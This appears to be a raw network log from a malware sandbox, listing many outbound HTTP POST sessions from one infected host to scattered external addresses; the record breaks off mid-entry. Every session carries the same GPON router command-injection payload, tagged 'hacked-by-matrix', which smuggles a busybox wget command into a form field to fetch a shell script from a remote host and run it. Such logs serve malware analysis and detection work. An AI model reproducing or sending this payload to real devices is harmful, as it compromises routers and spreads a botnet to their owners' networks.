Mar 21, 2024 05:26:34.288827896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.23	56608	178.251.145.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288861036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.23	60846	94.3.178.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288868904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.23	39506	37.203.234.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288880110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.23	57378	37.220.65.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288922071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.23	55268	37.142.163.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288922071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.23	56116	5.176.228.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288923979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.23	39782	79.226.67.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288964987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.23	51852	79.40.225.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288971901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.23	39360	210.171.97.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288992882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.23	50086	79.14.43.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289000034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.23	59366	178.241.51.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289048910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.23	42004	42.105.15.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289062977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.23	36954	210.115.249.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289074898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.23	34812	118.194.1.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289088964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.23	47618	212.62.117.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289091110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.23	38936	5.181.23.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289134979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.23	49532	118.239.187.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289150953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.23	51920	118.160.185.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289169073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.23	36390	42.132.28.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289169073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.23	53452	79.100.78.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289221048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.23	38368	37.236.22.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289241076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.23	59264	210.4.8.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289247036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.23	53824	178.54.87.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289303064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.23	35442	37.70.184.228	443

Timestamp	Bytes transferred	Direction	Data
